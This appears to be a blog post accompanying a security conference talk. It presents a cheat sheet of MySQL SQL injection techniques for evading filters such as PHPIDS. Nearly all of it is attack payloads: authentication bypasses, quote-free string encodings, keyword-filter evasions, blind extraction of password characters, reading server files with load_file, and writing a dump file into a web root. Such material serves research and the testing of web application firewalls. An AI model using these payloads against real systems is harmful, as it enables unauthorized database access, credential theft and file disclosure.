This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. You can find the slides here. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).

## Basic filter

**Comments**

‘ or 1=1#

‘ or 1=1– –

‘ or 1=1/* (MySQL < 5.1)

' or 1=1;%00

' or 1=1 union select 1,2 as `

' or#newline

1='1

' or– -newline

1='1

' /*!50000or*/1='1

' /*!or*/1='1

**Prefixes**

+ – ~ !

‘ or –+2=- -!!!’2

**Operators**

^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

**Whitespaces**

%20 %09 %0a %0b %0c %0d %a0 /**/

‘or+(1)sounds/**/likeâ€œ1â€œ–%a0-

‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

**Strings with quotes**

SELECT ‘a’

SELECT “a”

SELECT n’a’

SELECT b’1100001′

SELECT _binary’1100001′

SELECT x’61’

**Strings without quotes**

‘abc’ = 0x616263

**Aliases**

select pass as alias from users

select pass aliasalias from users

select pass`alias alias`from users

**Typecasting**

‘ or true = ‘1 # or 1=1

‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1

‘ or ‘1 # or true

**Compare operator typecasting**

select * from users where ‘a’=’b’=’c’

select * from users where (‘a’=’b’)=’c’

select * from users where (false)=’c’

select * from users where (0)=’c’

select * from users where (0)=0

select * from users where true

select * from users

**Authentication bypass ‘=’**

select * from users where name = ”=”

select * from users where false = ”

select * from users where 0 = 0

select * from users where true

select * from users

**Authentication bypass ‘-‘**

select * from users where name = ”-”

select * from users where name = 0-0

select * from users where 0 = 0

select * from users where true

select * from users

## Function filter

**General function filtering**

ascii (97)

load_file/*foo*/(0x616263)

**Strings with functions**

‘abc’ = unhex(616263)

‘abc’ = char(97,98,99)

hex(‘a’) = 61

ascii(‘a’) = 97

ord(‘a’) = 97

‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

**Strings extracted from gadgets**

collation(\N) // binary

collation(user()) // utf8_general_ci

@@time_format // %H:%i:%s

@@binlog_format // MIXED

@@version_comment // MySQL Community Server (GPL)

dayname(from_days(401)) // Monday

dayname(from_days(403)) // Wednesday

monthname(from_days(690)) // November

monthname(from_unixtime(1)) // January

collation(convert((1)using/**/koi8r)) // koi8r_general_ci

(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

**Special characters extracted from gadgets**

aes_encrypt(1,12) // 4Ã§hÂ±{?”^cÃ—HÃ©Ã‰Ea

des_encrypt(1,2) // â€šGÃ’/Ã¯Ã–k

@@ft_boolean_syntax // + -><()~*:""&|

@@date_format // %Y-%m-%d

@@innodb_log_group_home_dir // .\

**Integer representations**

false: 0

true: 1

true+true: 2

floor(pi()): 3

ceil(pi()): 4

floor(version()): 5

ceil(version()): 6

ceil(pi()+pi()): 7

floor(version()+pi()): 8

floor(pi()*pi()): 9

ceil(pi()*pi()): 10

concat(true,true): 11

ceil(pi()*pi())+true: 11

ceil(pi()+pi()+version()): 12

floor(pi()*pi()+pi()): 13

ceil(pi()*pi()+pi()): 14

ceil(pi()*pi()+version()): 15

floor(pi()*version()): 16

ceil(pi()*version()): 17

ceil(pi()*version())+true: 18

floor((pi()+pi())*pi()): 19

ceil((pi()+pi())*pi()): 20

ceil(ceil(pi())*version()): 21

concat(true+true,true): 21

ceil(pi()*ceil(pi()+pi())): 22

ceil((pi()+ceil(pi()))*pi()): 23

ceil(pi())*ceil(version()): 24

floor(pi()*(version()+pi())): 25

floor(version()*version()): 26

ceil(version()*version()): 27

ceil(pi()*pi()*pi()-pi()): 28

floor(pi()*pi()*floor(pi())): 29

ceil(pi()*pi()*floor(pi())): 30

concat(floor(pi()),false): 30

floor(pi()*pi()*pi()): 31

ceil(pi()*pi()*pi()): 32

ceil(pi()*pi()*pi())+true: 33

ceil(pow(pi(),pi())-pi()): 34

ceil(pi()*pi()*pi()+pi()): 35

floor(pow(pi(),pi())): 36

@@new: 0

@@log_bin: 1

!pi(): 0

!!pi(): 1

true-~true: 3

log(-cos(pi())): 0

-cos(pi()): 1

coercibility(user()): 3

coercibility(now()): 4

minute(now())

hour(now())

day(now())

week(now())

month(now())

year(now())

quarter(now())

year(@@timestamp)

crc32(true)

**Extract substrings**

substr(‘abc’,1,1) = ‘a’

substr(‘abc’ from 1 for 1) = ‘a’

substring(‘abc’,1,1) = ‘a’

substring(‘abc’ from 1 for 1) = ‘a’

mid(‘abc’,1,1) = ‘a’

mid(‘abc’ from 1 for 1) = ‘a’

lpad(‘abc’,1,space(1)) = ‘a’

rpad(‘abc’,1,space(1)) = ‘a’

left(‘abc’,1) = ‘a’

reverse(right(reverse(‘abc’),1)) = ‘a’

insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’

space(0) = trim(version()from(version()))

**Search substrings**

locate(‘a’,’abc’)

position(‘a’,’abc’)

position(‘a’ IN ‘abc’)

instr(‘abc’,’a’)

substring_index(‘ab’,’b’,1)

**Cut substrings**

length(trim(leading ‘a’ FROM ‘abc’))

length(replace(‘abc’, ‘a’, ”))

**Compare strings**

strcmp(‘a’,’a’)

mod(‘a’,’a’)

find_in_set(‘a’,’a’)

field(‘a’,’a’)

count(concat(‘a’,’a’))

**String length**

length()

bit_length()

char_length()

octet_length()

bit_count()

**String case**

ucase

lcase

lower

upper

password(‘a’) != password(‘A’)

old_password(‘a’) != old_password(‘A’)

md5(‘a’) != md5(‘A’)

sha(‘a’) != sha(‘A’)

aes_encrypt(‘a’) != aes_encrypt(‘A’)

des_encrypt(‘a’) != des_encrypt(‘A’)

## Keyword filter

**Connected keyword filtering**

(0)union(select(table_name),column_name,…

0/**/union/*!50000select*/table_name`foo`/**/…

0%a0union%a0select%09group_concat(table_name)….

0’union all select all`table_name`foo from`information_schema`. `tables`

**OR, AND**

‘||1=’1

‘&&1=’1

‘=’

‘-‘

**OR, AND, UNION**

‘ and (select pass from users limit 1)=’secret

**OR, AND, UNION, LIMIT**

‘ and (select pass from users where id =1)=’a

**OR, AND, UNION, LIMIT, WHERE**

‘ and (select pass from users group by id having id = 1)=’a

**OR, AND, UNION, LIMIT, WHERE, GROUP**

‘ and length((select pass from users having substr(pass,1,1)=’a’))

**OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING**

‘ and (select substr(group_concat(pass),1,1) from users)=’a

‘ and substr((select max(pass) from users),1,1)=’a

‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

**OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT**

‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a

‘=” into outfile ‘/var/www/dump.txt

**OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE**

‘ procedure analyse()#

‘-if(name=’Admin’,1,0)#

‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#

**Control flow**

case ‘a’ when ‘a’ then 1 [else 0] end

case when ‘a’=’a’ then 1 [else 0] end

if(‘a’=’a’,1,0)

ifnull(nullif(‘a’,’a’),1)

If you have any other useful tricks I forgot to list here please leave a comment.